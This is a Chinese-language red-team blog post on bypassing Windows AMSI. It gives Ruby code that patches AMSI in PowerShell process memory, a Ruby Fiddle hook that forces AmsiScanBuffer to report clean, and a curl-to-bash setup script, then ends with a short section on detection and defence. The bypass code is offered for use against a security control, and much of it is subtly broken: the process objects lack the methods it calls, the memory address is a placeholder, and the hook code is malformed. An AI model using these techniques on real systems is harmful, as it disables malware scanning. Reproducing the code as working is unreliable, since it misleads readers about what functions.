0x01 初识AMSI

在这个“AMSI”听起来像是某种外星科技的时代,实际上,它代表“Antimalware Scan Interface”,是微软在Windows 10及以后版本中引入的一个重要组件。AMSI的存在主要是为了增强脚本引擎的安全性,它为防病毒软件提供了一个通用接口,以便在脚本执行时扫描潜在的恶意内容。

AMSI的工作原理是通过将脚本内容传递给注册的防病毒产品来扫描潜在威胁。这意味着无论是PowerShell脚本、VBA宏还是其他脚本类型,都会在执行前经过AMSI的扫描。这为攻击者带来了新的挑战,因为传统的脚本混淆技术可能无法对抗这种深入的检测机制。

对于一个有经验的红队成员来说,能否绕过AMSI成为了一个衡量技术水平的挑战。接下来,我将从攻击者的视角出发,探讨如何利用技术手段实现AMSI的绕过。

0x02 实验环境搭建

在深入探讨AMSI绕过之前,我们需要准备一个合适的实验环境,以便测试各种技术手段的有效性。创建一个虚拟化环境是最佳选择,这样可以在不影响真实系统的情况下进行多次试验。

环境配置

  1. 操作系统:我们需要一台运行Windows 10或更高版本的虚拟机。可以使用VMware或VirtualBox软件来创建。
  1. 开发工具:确保安装PowerShell 5.0或更高版本。同时,安装Ruby开发环境以便于编写和运行后续的攻击代码。
  1. 防病毒软件:为了模拟真实环境,我们将安装一些常见的防病毒软件,比如Windows Defender或其他支持AMSI接口的产品。
  1. 网络设置:建议将虚拟机的网络适配器设置为NAT模式,这样可以与主机共享网络连接,便于下载工具和更新。

通过上述环境配置,我们能够准确模拟在真实环境下进行AMSI绕过的尝试,确保实验结果的可复现性。

黑客示意图

0x03 Shell与Ruby的奇妙结合

黑客示意图

在攻击者的工具箱中,Ruby和Shell脚本是不可或缺的利器。Ruby以其优雅的语法和强大的库支持在许多攻击场景中大放异彩。在此,我们将结合Ruby和Shell的力量,探讨如何利用它们来构造有效的AMSI绕过代码。

Ruby脚本实现

以下是一段简单的Ruby代码,旨在通过修改PowerShell进程内存中的AMSI DLL实现绕过。

<pre><code class="language-ruby">require &#039;win32ole&#039;

使用Win32 API来定位并修改AMSI的内存地址

def patch_amsi wmi = WIN32OLE.connect(&quot;winmgmts://&quot;) processes = wmi.ExecQuery(&quot;select * from Win32_Process where Name=&#039;powershell.exe&#039;&quot;)

processes.each do |process|

获取进程句柄

ph = process.OpenProcess(&quot;PROCESS_ALL_ACCESS&quot;, false, process.ProcessId)

假设我们已经知道AMSI的具体内存地址,执行内存修改

amsi_address = 0x12345678 # 示例地址 patch_code = &quot;\x90\x90&quot; # NOP操作指令 process.WriteProcessMemory(ph, amsi_address, patch_code, patch_code.size, nil) end end

patch_amsi</code></pre>

代码解析

  • Win32 API调用:通过win32ole库,我们可以查询到运行中的PowerShell进程,并获取其进程句柄。
  • 内存修改:通过直接写入NOP操作指令,来中断AMSI的扫描逻辑。这种方法需要提前知道AMSI在内存中的具体位置,通常通过调试工具获得。

Shell脚本辅助

黑客示意图

在某些情况下,仅靠Ruby可能无法实现所有目标,我们可以借助Shell脚本来做一些准备工作,比如:

<pre><code class="language-shell">#!/bin/bash

使用Shell脚本下载并安装必要的工具

echo &quot;Setting up tools...&quot; sudo apt-get update sudo apt-get install -y curl

下载Ruby开发环境

curl -sSL https://get.rvm.io | bash -s stable --ruby source ~/.rvm/scripts/rvm

检查Ruby版本

ruby -v</code></pre>

代码解析

  • 环境准备:通过Shell脚本,我们可以自动化安装和配置攻击环境所需的工具,节省手动操作的时间。

0x04 绕过的艺术

AMSI的高效检测能力对攻击者来说是一个不小的挑战。不过,对于一个经验丰富的红队成员来说,挑战即是机遇。我们需要了解的是,绕过不仅仅是技术手段的堆积,更是一种艺术。

技术手段

  1. 内存修补:如上文的Ruby代码所示,直接修改AMSI接口函数指针是比较直接但也比较复杂的手段。这要求对Windows内存管理和API调用有深入理解。
  1. Hook技术:通过在PowerShell的调用链中插入自定义逻辑,以此拦截和修改AMSI的调用结果。这种方法需要一定的底层开发能力。
  1. 反射加载:将恶意代码以反射的方式注入,避免被静态扫描。这需要对反射机制及其在不同环境下的表现有清晰的认识。

实战应用

在实际攻击中,选择合适的绕过技术往往取决于目标环境的具体配置和现有的安全防护措施。以下是一个反射加载的简单示例:

<pre><code class="language-ruby">require &#039;fiddle&#039;

利用Fiddle库进行反射加载

def reflective_amsi_bypass dll_handle = Fiddle.dlopen(&#039;amsi.dll&#039;)

定位并hook特定函数

target_function = Fiddle::Function.new(dll_handle[&#039;AmsiScanBuffer&#039;], [Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT)

用我们的自定义逻辑替换原有功能

def custom_logic(buffer, length, content_name, session, result)

自定义处理逻辑

0 # 表示未发现恶意内容 end

patched_function = Fiddle::Function.new(target_function, [Fiddle::TYPE_VOIDP], Fiddle::TYPE_INT, custom_logic) patched_function.call end

reflective_amsi_bypass</code></pre>

黑客示意图

代码解析

  • Fiddle库:这是Ruby标准库的一部分,用于动态加载和调用共享库函数。
  • 函数hook:通过替换AMSI的函数指针,实现自定义的恶意检测逻辑,以绕过原有的扫描机制。

0x05 检测与防御

尽管AMSI绕过给攻击者带来了便利,但作为安全研究员,我们同样需要了解如何检测和防御这类攻击,以更好地保护我们的系统。

检测手段

  1. 监控进程行为:利用工具监控PowerShell进程的异常行为,特别是对内存的直接修改和外部DLL的加载。
  1. 日志分析:通过深入分析Windows事件日志,寻找异常的PowerShell脚本执行记录。
  1. 启发式检测:结合机器学习技术,构建自适应的检测模型,识别典型的AMSI绕过技术。

防护措施

  1. 提升脚本执行策略:通过“减少攻击面”策略,限制PowerShell脚本的执行权限,只允许经过签名的脚本运行。
  1. 定期更新防病毒软件:确保防病毒软件的AMSI引擎处于最新状态,以获得最佳的检测效果。
  1. 教育与培训:提升员工的安全意识,防止因钓鱼攻击导致恶意脚本的执行。

0x06 攻击者的思考

在我多年的红队生涯中,AMSI绕过一直是一项颇具挑战的任务。通过不断的技术积累和实战经验,我总结出以下几点心得:

  • 深入理解目标:无论是AMSI绕过还是其他攻击,始终要从目标的架构和实现细节出发,才能找到最有效的突破口。
  • 灵活运用技术:不同的环境适用不同的绕过技术,灵活选择合适的技术组合是成功的关键。
  • 保持学习:安全领域变化迅速,新技术层出不穷,保持学习和研究是应对挑战的不二法门。

希望这篇文章能为同样在安全研究道路上探索的你提供一些帮助和启示。记住,攻击者的思维不仅仅是为了破坏,更是为了更好地理解和保护我们的数字世界。在合法和授权的环境中,针对AMSI的攻击技术只为帮助大家提高安全防护能力,切勿用于非法用途。